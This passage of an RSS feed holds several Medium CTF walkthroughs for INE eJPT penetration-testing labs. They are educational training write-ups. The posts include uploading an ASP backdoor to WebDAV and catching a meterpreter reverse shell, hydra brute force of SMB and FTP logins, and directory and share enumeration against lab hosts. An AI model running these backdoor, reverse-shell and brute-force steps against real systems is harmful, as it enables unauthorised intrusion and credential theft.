not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V7rhk-Yi_oNNLAe4uXDyXw.png" /></figure><p>After that we can upload the generated file using <strong>Cadaver </strong>to the “WebDAV” directory.</p><pre>cadaver http://target1.ine.local/webdav</pre><p>After that you have to provide the username and the password to access.</p><pre>put backdoor.asp</pre><p>We can upload our malicious file using the above command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*KXG7mnsFJWZxW5czCNDLjA.png" /></figure><p>After the above process, you can clearly see that the backdoor.asp file has been successfully uploaded to the “WebDAV” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*Zbp9dfPOFWXnEhhE7Z2BYA.png" /></figure><p>Now what we have to do is start a listener from our attack machine. For this purpose I’m going to use Metasploit.</p><pre>msfconsole<br>use multi/handler<br>set LHOST eth1<br>set payload windows/meterpreter/reverse_tcp<br>run</pre><p>Use the above commands, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*mpw3GZQ3VFSiqt_HbpbKXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*cyFoj6oUOJXGhM5RDkNWMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*8IeGvaOk_kKC92UzyB_E2Q.png" /></figure><p>So, as you can see, our listener is running on port 4444 from the attack machine’s network interface (localhost).</p><p>Now all we have to do is run our backdoor.asp file from the “WebDAV” directory and then you will get the meterpreter session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*7uepPAjG771Du0WhqdFyWA.png" /></figure><p>Run the given commands on the meterpreter session and you can see the <strong>flag 2</strong>.</p><pre>cd C:\\<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*PdFG3SPRXnk8y5OwAMY0EA.png" /></figure><p>You can read the file using the “cat flag.txt” command. Let’s move to find <strong>flag 3</strong>.</p><p><strong>HINT 3</strong> : “SMB shares might contain hidden files. Check the available shares. (target2.ine.local)”</p><p>According to the HINT 3, let’s check the shares first and then check hidden files.</p><h4>3. Enumerate shares in SMB</h4><p>When we try to enumerate SMB shares using msfconsole without any credentials, there is no result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLJ83GFNe_s9E9EiFdTDKw.png" /></figure><p>So, let’s move to brute force SMB service and see what we can find.</p><pre>hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb://target2.ine.local</pre><p>Results are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Z4CbsP_9tBkPz4FacGOwUw.png" /></figure><p>So as we can see, we can find the administrator’s passwords. Let’s enumerate the shares using <strong>smbclient</strong>.</p><pre>smbclient -L \\\\target2.ine.local\\ADMIN -U administrator </pre><p>You need to provide the password as “pineapple”. After that, SMB shares will be shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*JElxL5_1gVbpU3BPZ2WtXw.png" /></figure><p>Access the C$ share using the following command.</p><pre>smbclient \\\\target2.ine.local\\C$ -U administrator</pre><p>Provide the password and list the content. You can find the <strong>flag 3</strong> among the other files. Use “<strong><em>cat flag3.txt</em></strong>” to obtain the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*zulJvgGrSxlM6eQfOWryOg.png" /></figure><p>Don’t close the SMB connection because <strong>flag 4</strong> is also located in the same share but different directory. Let’s move to find <strong>flag 4</strong>.</p><p>HINT 4 : “The Desktop directory might have what you’re looking for. Enumerate its contents. (target2.ine.local)”</p><p>The hint says that <strong>flag 4</strong> is located in a desktop directory.</p><h4>4. Changing Directories</h4><p>Use the following command to change the directories to the administrator’s desktop directory. Then you can find the <strong>flag 4</strong>.</p><pre>ls \Users\Administrator\Desktop\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*0mC1RR9-NVjReLluQjhPtw.png" /></figure><p>Finally, we found all 4 flags.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ae111a16125" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/host-network-penetration-testing-system-host-based-attacks-ctf-1-ejpt-5ae111a16125">Host &amp; Network Penetration Testing: System-Host Based Attacks CTF 1 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessment Methodologies: Vulnerability Assessment [eJPT]]]></title>
            <link>https://systemweakness.com/assessment-methodologies-vulnerability-assessment-ejpt-714b8b7d50ce?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/714b8b7d50ce</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Mon, 06 Jan 2025 08:10:55 GMT</pubDate>
            <atom:updated>2025-01-07T16:25:35.515Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys :) So this time, we are going to find 4 flags that are hidden in a vulnerable website. Let’s dive into the it,</p><p>First of all, let’s enumerate the target and have a clear understanding of what services are running on the target.</p><pre>nmap -Pn -sV -sC -p- target.ine.local</pre><ul><li>sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><p>You can see the services when you run the above command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMynuyhEVby6oW4XukbpCQ.png" /></figure><p>Let’s try to find the <strong>flag 1</strong>.</p><p><strong>HINT 1</strong> : “Explore hidden directories for version control artifacts that might reveal valuable information.”</p><p>So, the hint is related to version control hidden directories. The most popular “version control” software out there is Git. When you look at the service enumeration under port 80, you can clearly see that in addition to “robots.txt”, there is a hidden directory called “192.147.230.3:80/.git/”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zciv9i1tICfI_Qob1JOzIA.png" /></figure><h3><strong>1. Identify the hidden directory related to Version Control Software.</strong></h3><p>Let’s move to the directory “192.147.230.3:80/.git/” and check whether we can find anything useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*O_iCjeEJT3E6HPNDFcRQXQ.png" /></figure><p>As you can see, we can find the flag 1 when you go to the previously mentioned directory.</p><p>So, Let’s move to find flag 2. The given hint is,</p><p><strong>HINT 2</strong> : “The data storage has some loose security measures. Can you find the flag hidden within it?”</p><p>As you can see, the hint tells us that there is a misconfiguration of a data storage service. According to the nmap results, we can see that MySQL is running on the server as the data storage service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*40vZ-NxM4-gz1z0AG0PZKg.png" /></figure><p>So let’s try to find some directories or anything related to MySQL. First, let’s check the robots.txt because it contains allowed and disallowed entries of the website.</p><pre>http://target.ine.local/robots.txt</pre><p>The following directories are shown in the “robots.txt”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*ZV6Gfiy10Fau2tuz_KJyJA.png" /></figure><p>When you check the directories, there is a folder that relates to MySQL. It is “<strong><em>phpmyadmin/</em></strong>”. Let’s check the directory and see what we can find.</p><h4>2. Misconfiguration of MySQL</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fghwmYxYv6H1nXXoMP94uw.png" /></figure><p>As you can see above, we can obtain the MySQL database without any credentials. This could be the misconfiguration that the hint was given about.</p><p>Let’s try to check whether we can find <strong>flag 2 </strong>or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*S64H14BF5XOB-aqYF1LnVw.png" /></figure><p>So, as you can see, we can see the <strong>flag 2</strong> under the “mysql” database and in the secret_info table.</p><p>Let’s move to find <strong>flag 3</strong> and this is the given hint to find <strong>flag 3.</strong></p><p><strong>HINT 3</strong> : “A PHP file that displays server information might be worth examining. What could be hidden in plain sight?”.</p><p>So, according to the above hint, it is clear that this is related to a <strong>php</strong> file that has server configurations.</p><h4>3. Enumerating specific files on the website</h4><p>Since the hint has mentioned that this is related to a php file that has server information, let’s try to enumerate all the php files from the target and check whether we can find anything useful.</p><p>For this part, I’m going to use the ffuf tool. You can use the given command to obtain the files with the .php extension on the target.</p><pre>ffuf -u http://target.ine.local/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .php -c -mc 200</pre><ul><li>-u : target host</li><li>-w : wordlist</li><li>-e : extension</li><li>-c : colorized output</li><li>-mc : matching HTTP status code</li></ul><p>When you run the above command, you will see the following output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIBL1hIXlMRTm3VvszVq0Q.png" /></figure><p>As you can see, there are few files and one of them could be our target php file. Since this is related to <strong>php </strong>file, let’s check all of them and see what we can find.</p><p>When we check each file, we can see that flag 3 can be found on “phpinfo.php”. To obtain the flag, there are 2 methods, first one is by using the <strong>curl utility </strong>on the target file and searching for the specific keyword as given below.</p><pre>curl http://target.ine.local/phpinfo.php | grep FLAG</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g3pQkcuuLNyWI1z93ZZD-Q.png" /></figure><p>Or going for the target website using the web browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*BhQ3weXLuGoJFjPje_PL-g.png" /></figure><p>Let’s move to find <strong>flag 4</strong> and the given is,</p><p><strong>HINT 4</strong> : “Sensitive directories might hold critical information. Search through carefully for hidden gems.”</p><p>When we check the hint, it is obvious that, to find the 4th flag, we need to enumerate directories on the target.</p><h4>4. Directory enumeration</h4><p>For this part, I’m going to use Gobuster. You can follow the process using the given command,</p><pre>gobuster dir -u http://target.ine.local -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt</pre><ul><li>-u : target host</li><li>-w : wordlist</li></ul><p>The result is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET4A9VR2zDKPi6jr5HAIrA.png" /></figure><p>When we check each directory, we can find <strong>flag 4</strong> in the “/passwords” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*4KXe02ByA8qRlYFDs9gTTQ.png" /></figure><p>So, finally we were able to find all 4 flags.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=714b8b7d50ce" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/assessment-methodologies-vulnerability-assessment-ejpt-714b8b7d50ce">Assessment Methodologies: Vulnerability Assessment [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessment Methodologies: Enumeration CTF 1 [eJPT]]]></title>
            <link>https://systemweakness.com/assessment-methodologies-enumeration-ctf-1-ejpt-526bdd2eec48?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/526bdd2eec48</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Fri, 03 Jan 2025 13:10:36 GMT</pubDate>
            <atom:updated>2025-01-07T16:29:00.901Z</atom:updated>
            <content:encoded><![CDATA[<p>In this lab there are <strong>4 flags</strong> to be found. So let’s get started.</p><p>As the first step, we should start with enumerating services on the target, because it is good to have a solid understanding of our target by examining what services are running. We can use nmap to check the running services on our target.</p><pre>nmap -Pn -sV -sC -p- target.ine.local</pre><ul><li>sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><p>Once we run the above command, you will be able to see the following output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*S_K4Lv6XJXjqI7YQ9Gxiqg.png" /></figure><p>Those are the services that are running on the target. Let’s move to find <strong>flag 1.</strong></p><p><strong>Hint</strong> <strong>1 </strong>: “There is a Samba share that allows anonymous access. Wonder what’s in there!”.</p><p>The <strong>wordlists </strong>located in the following directory will be useful:</p><ul><li>/root/Desktop/wordlists</li></ul><p>So, when you read the hint, you should get the idea that the flag 1 is hidden in a public share that can be accessed anonymously. In addition to that, we have to use the wordlists mentioned in the lab as well.</p><p>The contents of the folder /root/Desktop/wordlists are,</p><ul><li><em>Unix_passwords.txt</em></li><li><em>shares.txt</em></li></ul><p>With all the above information, let’s try to find the share name.</p><h4><strong>1. Enumerating Shares</strong></h4><p>We can use the “<strong><em>smb_enumshares </em></strong>” module from the Metasploit framework to find the shares associated with the target. But we can’t set a custom wordlist to enumerate the shares of the target. As you can see before, the lab has provided custom wordlists and one of them was to enumerate shares (“<em>shares.txt</em>”).</p><p>Let me show you what I mentioned earlier using Metasploit. Use the following command to open Metasploit.</p><pre>msfconsole </pre><p>Once the Metasploit is opened, search for the “<strong><em>smb_enumshare ”</em></strong>module.</p><pre>search smb_enumshares</pre><p>After that, select the option.</p><pre>use 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6IE2cgTTdKN1sLGmYl-KaQ.png" /></figure><p>To check the options, use the following command.</p><pre>options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBrh_-rScl9p8YNd0K6Duw.png" /></figure><p>I have highlighted the most important options for this module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3D-8L776rbGIMieUSJjk8g.png" /></figure><p>But as you can see, there is no option to set a custom word-list. As a solution I have developed the following bash code to obtain matching shares by using a custom wordlist.</p><pre>#!/bin/bash<br><br># Obtain the target and wordlist from command-line arguments<br>target=&quot;$1&quot;<br>wordlist=&quot;$2&quot;<br><br># Check if both arguments are provided<br>if [ -z &quot;$target&quot; ] || [ -z &quot;$wordlist&quot; ]; then<br>    echo &quot;Usage: $0 &lt;target&gt; &lt;wordlist&gt;&quot;<br>    exit 1<br>fi<br><br># Check if the wordlist file exists<br>if [ ! -f &quot;$wordlist&quot; ]; then<br>    echo &quot;Error: Wordlist file &#39;$wordlist&#39; not found.&quot;<br>    exit 1<br>fi<br><br># Initialize an array to store successful shares<br>successful_shares=()<br><br># Loop through each share in the wordlist<br>while read -r share; do<br>    echo -e &quot;Testing share: \e[34m$share\e[0m&quot;<br>    smbclient &quot;//$target/$share&quot; -N -c &quot;ls&quot; &amp;&gt;/dev/null<br><br>    if [ $? -eq 0 ]; then<br>        successful_shares+=(&quot;$share&quot;)<br>    fi<br>done &lt; &quot;$wordlist&quot;<br><br># Output the results<br>if [ ${#successful_shares[@]} -gt 0 ]; then<br>    echo -e &quot;\n\e[32m[+] Successfully accessed shares:\e[0m&quot;<br>    for share in &quot;${successful_shares[@]}&quot;; do<br>        echo -e &quot;\e[32m[+] \e[34m$share\e[0m&quot;<br>    done<br>else<br>    echo -e &quot;\e[31m[-] No accessible shares found.\e[0m&quot;<br>fi<br><br>echo -e &quot;\n[+] SMB enumeration completed.&quot;</pre><p>First you need to create a bash file using the above code. After that you have to make the file executable. For this purpose I’m going to create a bash file called “smbenumshare.sh”. [.<strong>sh </strong>is the extension of a bash file]</p><pre>nano smbenumshares.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*iGiQn4K7Dg0EGsAbbJzyKw.png" /></figure><p>After that you will be able to see an empty space as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-4K6BJPWi55JrKG2wZV3g.png" /></figure><p>Please read the <strong>INE instructions</strong> on how to copy the code to your lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*-ze8sCoxOewup_oEj1skOQ.png" /></figure><p>After following the above instructions, paste the code to the terminal by using following shortcut: <strong>CTRL+ SHIFT + V</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LklcZWW1SW9Gc0VXmJsPDQ.png" /></figure><p>After that, to write &amp; save the file, press<strong> “CTRL + O”. </strong>Then you will be seeing the following prompt: “File Name to Write”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Wm07TZt9Wzpq46tWshbbRg.png" /></figure><p>After that, press <strong>ENTER, </strong>then “<strong>CTRL + X”</strong> to exit.</p><p>After that we have to make the file executable because the file doesn&#39;t have the executable rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*mxk7XHLz8PHusFIWF9OQbg.png" /></figure><p>To make the file executable, you can use the following command.</p><pre>chmod +x smbenumshare.sh</pre><p>And after that you can see now the file has executable rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*KOfrCxyVybalsCJHVsKFfw.png" /></figure><p>Now you can execute the file as follows.</p><pre>./smbenumshare.sh target.ine.local /root/Desktop/wordlists/shares.txt</pre><p>And the results will be shown as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*7gBqgOz_i3BGAmBn1rLHpQ.png" /></figure><p>Finally, we were able to find the public share that can be accessed anonymously using a custom wordlist.</p><p>Let’s try to find the flag on “<strong><em>pubfiles</em></strong>”. To log in to the share and download the flag, you can use the following commands.</p><pre>smbclient \\\\target.ine.local\\pubfiles<br><br>get flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*ebClUOKSvaIai6ab8On2Dg.png" /></figure><p>Let’s move to find<strong> flag 2.</strong></p><p>Hint 2 : “One of the samba users have a bad password. Their private share with the same name as their username is at risk!”</p><p>So, basically that means we have to find the users who have access to these SMB shares. For this we can use <strong>enum4linux</strong>.</p><h4>2. <strong>Enumerating user credentials</strong></h4><p>We can use enum4linux to obtain detailed information about the shares and their access permissions.</p><pre>enum4linux -a target.ine.local</pre><p>In the results, there are few users mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*cs4JXSmFAg4RQyuPQPQpEQ.png" /></figure><p>We can create a file by including the following usernames as users.txt. After that we can brute force the credentials using <strong>smb_login </strong>module in Metasploit. Start Metasploit and use the smb_login module.</p><pre>msfconsole<br><br>use auxiliary/scanner/smb/smb_login<br><br>set RHOSTS target.ine.local<br><br>set USER_FILE /root/Desktop/users.txt<br><br>set PASS_FILE /root/Desktop/wordlists/unix_passwords.txt<br><br>set VERBOSE false</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8x_zixFK088rhhTpYtEpA.png" /></figure><p>Let’s try to login and see from which user we can obtain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*w8yMPcltnB5GzAtK-s5Hyg.png" /></figure><p>So, as you can see, the flag 2 was hidden in josh’s account. Let’s move to find <strong>flag 3.</strong></p><p><strong>Hint 3</strong> : “ Follow the hint given in the previous flag to uncover this one.”</p><p>Let’s check the <strong>2nd flag</strong> and see what this is about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*JqmXvhJtKL57uFtGihzITw.png" /></figure><h4>3. <strong>Brute Force FTP service</strong></h4><p>We need to brute force the ftp service and check whether we can find any credentials or not. for this process I’m going to use <strong>Hydra</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*Z71nWLzLpuypZBi9SbRzng.png" /></figure><p>Since the ftp service is running on port 5554, (<strong>-s</strong> = port number)</p><pre>hydra -L /root/Desktop/users.txt -P /root/Desktop/wordlists/unix_passwords.txt ftp://target.ine.local -s 5554</pre><p>Then you will be able to see the credentials for “alice”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VX78z7meazNhWRigfHyX6Q.png" /></figure><p>Let’s login to ftp service using Alice’s credentials. Then you will be able to see the <strong>flag 3</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hm3rZ5jgxUtgupPobztRDQ.png" /></figure><p>Let’s move to find the <strong>last flag</strong>.</p><p>Hint 4 : “<strong>This is a warning meant to deter unauthorized users from logging in.</strong>”</p><h4>4. <strong>SSH</strong></h4><p>This must be related to one of the services running on the target system. So there is only one service we didn&#39;t touch. That is ssh. Let’s try to login without any credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*o-X3gFfkC3kABfV3G-ejQA.png" /></figure><p>As you can see, we found the <strong>last flag</strong> as well.</p><p><strong><em>Hope everyone can understand and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=526bdd2eec48" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/assessment-methodologies-enumeration-ctf-1-ejpt-526bdd2eec48">Assessment Methodologies: Enumeration CTF 1 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessment Methodologies: Footprinting and Scanning CTF 1 [eJPT]]]></title>
            <link>https://systemweakness.com/assessment-methodologies-footprinting-and-scanning-ctf-1-ejpt-d537de82bb9d?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/d537de82bb9d</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Thu, 02 Jan 2025 07:24:32 GMT</pubDate>
            <atom:updated>2025-01-02T10:12:37.200Z</atom:updated>
            <content:encoded><![CDATA[<p>In this assessment there are 4 flags to be found, let’s get started.</p><p>So as the first step, we should start with enumerating services on the target website or the IP, because it is good to have a solid understanding of our target before we dive in.</p><p><strong>1. Enumerating services using nmap</strong></p><p>For this process we use nmap and the command is given below. If you are not sure whether the target host is active or not, you can ping the target first and then start with enumerating services. Ping [ <em>ping -c 5 target.ine.local </em>]</p><pre>nmap -Pn -sV -sC -p- target.ine.local    </pre><ul><li>sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*ylfDXikoH3NWpVGVxumVyw.png" /></figure><p>After executing the command, please give it some time until the results are shown as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*qTJDzkjp-BAJUrTKVvZgyg.png" /></figure><p>As you can see, you will be able to obtain the <strong>first flag</strong> when you go through the details under port 80.</p><p>Let’s move to find the <strong>flag 2</strong>. For this, the hint we have is “The gatekeeper’s instructions often reveal what should remain unseen. Don’t forget to read between the lines”. So, this should probably be referring to something that keeps the confidential data out of the public eye.</p><p><strong>2. Checking the restricted directories on the web server via “robots.txt”</strong></p><p>When we look at the services running on the target, the nmap scan has already revealed that there is a “robots.txt” file and its content.</p><p>So, this should probably be it. Let’s see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*kW2qDCdFs1JYYEGCL0LSYg.png" /></figure><p>Let’s go to the website and check the “robots.txt” file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*k4_gWfM_Vx2WvsOY9od7wg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ThhlxKmW-BupYswyjtriEw.png" /></figure><p>As you can see, there are 3 directories that are restricted by the admin,<br><em>*/photos<br>*/secret-info/<br>*/data/</em></p><p>Let’s check whether we can find anything useful by going to those directories, as an example, if you want to check the “<em>/photo</em>” directory, the URL should be “<strong>http://target.ine.local/photos</strong>” etc.</p><p>When we check each directory, we can see the <strong>flag 2</strong> in the “<em>/secret-info/</em>” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*eyozczTIFpJYBXQV3gcM6Q.png" /></figure><p>When you see what is included in the /secret-info/ directory as above, you can retrieve the flag by modifying the URL as below.</p><pre>http://target.ine.local/secret-info/flag.txt</pre><p>Now we have successfully retrieved the <strong>flag 2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*svAQgkEwBYdU4DJ-BiOa6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*g4a-5yvOyAvi-vviL80IlA.png" /></figure><p>Let’s move to find <strong>flag 3. </strong>The hint is “Anonymous access sometimes leads to forgotten treasures. Connect and explore the directory; you might stumble upon something valuable.”</p><p>This is probably related to a service that can be accessed as anonymous. to check that we have to go back and check the nmap scan again.</p><p><strong>3. Accessing a service as anonymous</strong></p><p>So when we check the nmap results, we can clearly see that we can access the <strong>ftp </strong>service as anonymous. Because “<em>Anonymous FTP login allowed</em>” is shown in the nmap results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*e-sSmwRqLpOLfnGOdVjkug.png" /></figure><p>Let’s authenticate to the ftp server and let’s check whether we can find the 3rd flag. The necessary commands are shown below.</p><pre> ftp target.ine.local</pre><p>After executing the above command, you have to give the username as “anonymous ”and <strong>Press Enter</strong> when the terminal asks you to enter the password.</p><p>Once you log in to the ftp service, you can list the contents and if the flag is there, you can download the flag to your local machine.</p><pre>ls</pre><p>The above command will list the contents of the running service as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*vk5u1KG4MnhQlQlBNBgn0A.png" /></figure><p>As you can see there are 2 files,<br><em>1. creds.txt<br>2. flag.txt</em></p><p>To obtain the “<strong>flag 3” </strong>enter the command as given below.</p><pre>get flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*7AWYLk6jYggRdFYrTmVzRQ.png" /></figure><p>When you execute the command, you will be able to download the flag to your local machine and submit the value. Same as before, to download the “<em>creds.txt</em>” you will do the same.</p><pre>get creds.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Z6M70a9hoZ2FYUxZ1a9vyA.png" /></figure><p>When we check the content of the “creds.txt”, we can find a username and a password related to a database.</p><p>To find the <strong>last flag</strong>, we have to follow the given instructions as before and the hint is, “A well-named database can be quite revealing. Peek at the configurations to discover the hidden treasure.” So, this is related to the database and we already know the credentials thanks to “creds.txt”.</p><p><strong>4. SQL login</strong></p><p>When we enumerated the services on the target host, we were able to see that MySQL is the database that is used by the target host. So the credentials must be related to the MySQL login. Let’s try those credentials and see. Execute the command as shown below.</p><pre>mysql -h target.ine.local -u db_admin -p</pre><p>Provide the password that we retrieved from the “creds.txt”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*priU2Mf9v1HRW4BjRQwZSw.png" /></figure><p>Let’s check the databases,</p><pre>show databases;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*r-oAXC13VBzmkiVCfAJUsA.png" /></figure><p>As you can see, we found the flag 4 as well by listing the databases in MySQL.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d537de82bb9d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/assessment-methodologies-footprinting-and-scanning-ctf-1-ejpt-d537de82bb9d">Assessment Methodologies: Footprinting and Scanning CTF 1 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessment Methodologies: Information Gathering CTF 1 [eJPT]]]></title>
            <link>https://systemweakness.com/assessment-methodologies-information-gathering-ctf-1-e2d61b445a78?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2d61b445a78</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[skill-assessment]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[ejptv2]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Wed, 01 Jan 2025 02:32:26 GMT</pubDate>
            <atom:updated>2025-01-02T10:12:26.966Z</atom:updated>
            <content:encoded><![CDATA[<p>There are <strong>5 flags</strong> to be found in this process, so let’s dive into some hacking.</p><p>First of all, we need to have a good understanding of our target. Because the only way we can come up with an idea to gain access to the target is by understanding the target. So, as the first step,</p><p><strong>1. Check the services that are running on the server</strong></p><pre>nmap -Pn -sV -sC -p- target1.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*6K4_ZtyFSFwTjcWqpnSmFQ.png" /></figure><p>So, by giving the above command you will be able to list all the running services associated with the target.</p><ul><li>-sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><p>For more information about the flags you can type the following command.</p><pre>nmap -h</pre><p>Once we enumerate the services, we will be able to see the “<strong>flag 2</strong>” under the port 80 banner.</p><p>Let’s move to find “flag 1”. In the 1st section, the hint we have been given is that “This tells search engines what to and what not to avoid”.</p><p>That means this should be probably related to the “<em>robots.txt” </em>file. Because “<em>robots.txt”</em> is the file that admins use to restrict directories that are not supposed to be indexed or crawled by search engines.</p><p><strong>2. Access the robots.txt file in the webserver</strong></p><p>Let’s access the “<em>robots.txt”</em> file on the target web server and see whether we can find something useful.</p><pre>http://target.ine.local/robots.txt</pre><p>Once we go to the above link and check the file, we will be able to see the “<strong>flag 1</strong>”.</p><figure><img alt="" 